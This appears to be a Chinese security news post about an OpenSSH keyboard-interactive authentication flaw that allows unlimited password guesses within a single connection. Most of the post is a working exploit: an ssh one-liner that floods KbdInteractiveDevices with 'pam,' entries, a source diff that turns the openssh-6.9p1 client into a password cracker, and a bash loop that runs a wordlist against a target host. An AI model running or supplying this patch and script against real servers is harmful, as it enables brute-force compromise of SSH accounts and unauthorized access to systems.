利用安全遠程訪問工具OpenSSH中的一個漏洞,攻擊者可繞過認證重試次數的限制,進行大量的口令猜解。一位網名為Kingcope的安全人員近日在博客上發布了這個漏洞的利用方法。
OpenSSH伺服器的「鍵盤交互」認證是打開的,默認設置為允許6次認證嘗試,客戶端只允許3次,然後就會關閉與伺服器的連接。然而,這個認證機制可以在單次連接中進行多次認證嘗試。利用這個漏洞,攻擊者能夠在允許登錄時間的2分鐘內進行多次口令嘗試,也就意味著成千上萬次的暴力破解。
而且,即使在OpenSSH的配置中把口令認證設置成「no」並使用公共密鑰認證也無法防止這種攻擊。
漏洞利用方法:
ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost
這條命令可以在登錄時間嘗試多達10000個口令。下面是openssh-6.9p1的攻擊補丁,打上這個補丁之後即可執行遠程破解:
---分割線--
diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
83a84,85
> char password[1024];
>
510c512,517
< authctxt->success = 1; /* break out */
---
> printf("==============================================\n");
> printf("*** SUCCESS **********************************\n");
> printf("*** PASSWORD: %s\n", password);
> printf("==============================================\n");
> exit(0);
>
1376a1384,1385
> char *devicebuffer;
> int i;
1386a1396,1405
> devicebuffer = calloc(1, 200000);
> if (!devicebuffer) {
> fatal("cannot allocate devicebuffer");
> }
>
> for (i=0;i<200000-2;i+=2) {
> memcpy(devicebuffer + i, "p,", 2);
> }
> devicebuffer[200000] = 0;
>
1393,1394c1412
< packet_put_cstring(options.kbd_interactive_devices ?
< options.kbd_interactive_devices : "");
---
> packet_put_cstring(devicebuffer);
1408c1426
< char *name, *inst, *lang, *prompt, *response;
---
> char *name, *inst, *lang, *prompt;
1410c1428
< int echo = 0;
---
> char *pos;
1425a1444
>
1430a1450
>
1443,1449c1463,1469
< echo = packet_get_char();
<
< response = read_passphrase(prompt, echo ? RP_ECHO : 0);
<
< packet_put_cstring(response);
< explicit_bzero(response, strlen(response));
< free(response);
---
> packet_get_char();
> if (fgets(password, 1024, stdin) == NULL)
> exit(0);
> if ((pos=strchr(password, '\n')) != NULL)
> *pos = '';
> printf("%s\n", password);
> packet_put_cstring(password);
---分割線---
補丁打上之後,即可使用下面的shell腳本掛上詞彙表進行口令破解的嘗試:
---分割線---
#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done
---分割線---
例如:
cat wordlist.txt | ./sshcracker.sh test 192.168.2.173
該攻擊已經在FreeBSD 10.1系統及老版本如6.2上成功測試。
---
要聞/乾貨/原創/專業 關注「安全牛」